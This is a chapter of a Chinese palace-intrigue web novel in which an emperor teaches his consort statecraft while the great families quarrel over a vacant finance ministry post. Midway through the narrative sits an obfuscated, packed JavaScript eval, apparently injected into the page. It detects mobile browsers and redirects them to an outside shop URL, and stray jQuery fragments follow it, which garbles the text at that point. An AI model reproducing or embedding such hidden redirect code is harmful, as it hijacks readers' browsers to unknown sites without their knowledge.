“她又怎么了?”
“宋修容给了拾叶一笔银子,让她离开建邺。”
慕容闵之一头雾水了,满心费解。那人明明险些害死她,不追责问罪已是法外开恩,她反倒大度送人钱财、放人身自由?
慕容闵之语气满是不可思议:“朕没听错吧?宋青珩是不是被毒傻了?”
“她若想要争权,她应该拉拢她的父兄,还有她那个妹夫,一个小宫女能成什么气候?”。
慕容闵之就翻到了宋文允联合其他武将上书的折子,折子上说:齐家女郎深宫独居,断然没有兴风作浪的本事,此事背后必有他人主使。
“她都对不起他爹费心尽力给她在前朝造势。”
一旁的杨芳深知陛下只是随口抱怨,并非真的动怒,连忙顺势递上台阶:“陛下,宋修容自幼养在乡里,虽有先生启蒙读书,学的终究是纸上死理,从未有人教过她朝堂权谋、深宫生存的门道。”
这话正好戳中慕容闵之的心思:“你说得对,确实没人教她该怎么做。你去叫她来,朕亲自教导她!”
此刻的宋青珩,所有注意力都牢牢拴在眼前的金银箱笼上。
一箱沉甸甸的金砖,一箱规整的银砖,金光银光交相辉映,晃得人睁不开眼。她活了两辈子,从未见过这般堆积如山的真金白银。
月华站在一旁,眼睛都快黏在金砖上,语气满是惊叹:“女郎,婢子这辈子都没见过这么多金子!”
宋青珩笑得眉眼飞扬,嘴角几乎咧到耳根,伸手抓起一块金砖,入手沉甸甸的质感无比真实。
“我也是头一回见。”她回头看向正在清点入库的月影,仍有些不敢置信,再三确认,“这些,真的是陛下给我的补偿?”
“是的修容。”
主仆三人还没来得及细细感受暴富的快乐,宫外传旨的杨芳就已经登门。
“见过修容,陛下传旨,请您即刻前往式乾殿,陛下要亲自授课,教修容治学理事。”
学习?毕业都多少年了?怎么还要学习?
她忍不住试探询问:“杨常侍,陛下当真要我去学习?”
杨芳笑意温和,回话滴水不漏:“修容,小臣不敢妄传旨意,陛下确实如此吩咐。”
宋青珩心底满是疑惑。
慕容闵之身为帝王,不应该忙着和世家斗智斗勇,将一切都抛在脑后吗?怎么突然想到教自己学习?
纵使心中万般不情愿,她也不敢流露半分,只能压下满腹疑虑,随着杨芳去往式乾殿。
殿内值守的内侍早得了吩咐,见人来了直接挑了帘子引她进去。宋青珩收敛所有杂念,规规矩矩行礼问安。
“宋青珩,告诉朕,你为何放过那名宫女?”慕容闵之清沉的声音传来。
宋青珩抬头,猝不及防撞进他似笑非笑的眼中,让她莫名心头一紧,微微发怵。她强定心神,轻声反问:“陛下,臣妾这般处置,莫非不妥?”
“妥当在何处?她差点就杀了你,你就这么大度?”
宋青珩思绪清晰,不慌不忙娓娓道来:“陛下,那宫女本是受人唆使,才敢铤而走险加害臣妾。她从来都不是主谋,只是一把任人摆布的刀。臣妾留她性命,便是留了一条线索,日后或许能顺着她,揪出真正藏在幕后害我的人。”
她摸不透慕容闵之的真实想法,索性实话实说。放长线钓大鱼,这本就是最稳妥的法子,何来过错?
慕容闵之淡淡看着她,语气带着几分提点与警示:“你这点小聪明,若是用在后宫争斗尚可,若对上根深蒂固的世家,只会输得一败涂地。”
“陛下的意思是,害我的那个人是世家?哪一家?郗家?”宋青珩连忙追问,她实在想不通自己为何会被世家下毒毒杀。
“朕今日召你前来,不是让你追问凶徒,是教你学会如何自己查出幕后真相。”
宋青珩微微怔神。
所以这位日理万机的皇帝,是真的闲到要手把手,教一个后宫妃嫔查案?
见她站在原地失神发呆,慕容闵之不轻不重叩了叩御案。脆响在空旷的大殿里荡开宋青珩瞬间回神,连忙上前两步。
就见他随手抛过来一册封皮泛黄的册子,宋青珩手忙脚乱地接住。
“从今日起,每日辰时到式乾殿来,你就看看这群世家权臣都在争什么。”慕容闵之的声音带着几分慵懒,“朕说话算数,说了教你,就不会食言。”
宋青珩拿着那本册子,心底思绪翻涌不停。
他为什么要教自己?不过这是一个非常好的,能在慕容闵之身边的借口。
“怎么,怕了?”慕容闵之挑眉,语气裹着几分戏谑。
宋青珩连忙将册子抱在怀里,垂首福了一福:“臣妾遵旨,还要感谢陛下。”
她低头看着册子里晦涩难懂的朝堂旧事、官员名录,大半内容都看不明白。折子遮住大半张脸,只露出一双眼睛看着慕容闵之:“陛下是要教臣妾什么?”
慕容闵之看着那双明亮的眼睛,喉结滚动一下移开目光:“教你如何运用手中的权力。”
宋青珩心底瞬间一亮。
权力。这可是古往今来最顶级的课题,太值得好好钻研了。
自那日起,式乾殿的隔间,成了宋青珩每日准时打卡的“工位”。每日辰时,她准时到场,直面最真实、最赤裸的朝堂利益博弈。
今日朝堂争执的核心,是齐家倒台后空出来的度支尚书一职。
这职位掌管天下建造、漕运开支,是除却左民尚书又一个肥差。齐家一倒,这块肥肉成了无主之物,各家世家瞬间红了眼,争先恐后想要抢到手。
最先沉不住气的是桓家。
久未上朝的桓砚率先出列,高声举荐:“度支尚书一职,需老成持重之人方可胜任。臣族子弟桓修,深耕地方漕运赋税多年,经手账目从无分毫差错,论资历、论心性,皆是最佳人选。”
话音刚落,庾家立刻出声反驳。
太常卿庾融一跨步出列,语气急促:“桓廷尉所言太过片面!地方漕运与中枢度支规制截然不同!桓修久居外任,不懂六部章程、朝堂规矩,若贸然任职,只会贻误朝政!”
他顺势推举自家子弟,底气十足:“臣族庾昭智常年供职户部,熟稔京城财账、宫廷用度,对接各衙门得心应手,远比桓修适配此职!”
两人你一言我一语,针锋相对,语速越来越快,语气越来越冲。方才还端庄肃穆的朝堂,片刻间就变成了两家的辩论场。
客套、体面,在实打实的权力利益面前,碎得一干二净。
宋青珩心底暗自感叹。
此前桓家主持豫州赈灾,耗损巨大,定然急需把控度支财权补全家族亏空,也难怪这般急切争抢。
就在桓、庾两家吵得难分难解、互不相让之际,一旁沉默许久的许家终于出手了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761151|208641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>御史许宴瑾缓步走出,脸上挂着温润浅笑,嘴里的话却绵里藏针:“二位何必争执不休?依臣之见,两人都不合适。”
他抬眼扫过众人,语气轻飘飘却暗藏锋芒:“桓家世代权贵,势力盘根错节;庾家根基深厚。若是度支财权落入任意一家手中,都会导致朝堂权重失衡,届时私权膨胀,于国不利。”
说完,他顺势推举自家子弟,冠冕堂皇道:“许氏子弟向来清正自持、不结私党,若执掌度支,必能公允处事、制衡各方,不负朝廷托付。”
宋青珩暗自腹诽,许家人自夸清正,脸皮堪比城墙拐角!
所有人都挤破头争抢这个空缺,唯独最有资格入局的郗家,全程无人现身。
齐家向来是郗家的附庸,事事依附郗家生存。如今齐家倒台,留下的财权空缺,本该是郗家顺势填补的最佳时机。可偏偏,郗家全程隐身,既不派人争辩,也不暗中造势,安静得过分。
事出反常必有妖。宋青珩脑中飞速梳理局势,快速厘清脉络。
要不然就是消息滞后,啥都不知道。
再者,就是郗宴之看穿了朝堂局势,故意蛰伏旁观,等着桓、庾、许三家互相争斗、内耗折损,自己好坐收渔翁之利,坐享最终成果。
宋青珩不觉得是前者,她抬眼,看向慕容闵之。
慕容闵之斜倚在龙椅之上,姿态慵懒闲散,单手支着下颌,漆黑的眼眸淡淡俯瞰着下方吵嚷混乱的众人。脸上没有半分不耐,也无半分喜怒。
这场朝堂争执最终无果,但也并非毫无进展,众人最终敲定了秘书郎、员外散骑侍郎两个人选。
全程旁观的慕容闵之未发半句异议,默许了结果。
待群臣尽数退去,空旷的式乾殿终于恢复安静。隔间内的宋青珩只觉浑身松弛,终于能畅快呼吸。这群朝堂重臣争执起来,比菜市场还要聒噪。
而方才淡然的慕容闵之,此刻看着手中的官员人选名单,眉宇间满是厌弃,眉头皱得几乎能夹死苍蝇。
“这般学识浅薄之人,也配担任秘书郎?”他冷声斥道。
藏在隔间听了整朝议事的宋青珩走到御案前,问出了疑惑:“陛下不觉得,郗家全程沉默不语,才是最反常的地方吗?”
慕容闵之慵懒的神色里终于透出几分冷厉:“之前是朕错了,许安世才不是老狐狸,老狐狸是他郗宴之。”
“陛下的意思是?”说实话,宋青珩没听明白。
“算了,不用管他们郗家,他们最近不会找事就是了。”他说着就来了兴致,就那份刚刚确定好了的名单送到宋青珩面前,“怎么样,你有什么想法?”
想法?她能有什么想法?宋青珩看着名单那上的人,她对世家这些郎君一点都不了解。
慕容闵之这位先生十分称职,知道宋青珩的难处,便开口介绍名单那上的人:“这个桓知微,读过书能力一般,就认得字而已,能把整卷文书读通顺都难,全靠着桓家混资历。”
指尖往下滑,点在另一个名字上,语气更嫌弃,“谢瑜就更别提了,上个月喝花酒闹得惊动了中军,谢家花了好大功夫才把这事压下去,如今竟敢厚着脸皮举荐他出任员外散骑侍郎,真当朕这个龙椅是摆着看的?”
“这上面也没有郗家人?”这郗宴之被夺舍了?
“这只老狐狸比跳得欢的许安世精多了。”慕容闵之嗤笑一声,问宋青珩:“说说吧,你的看法。”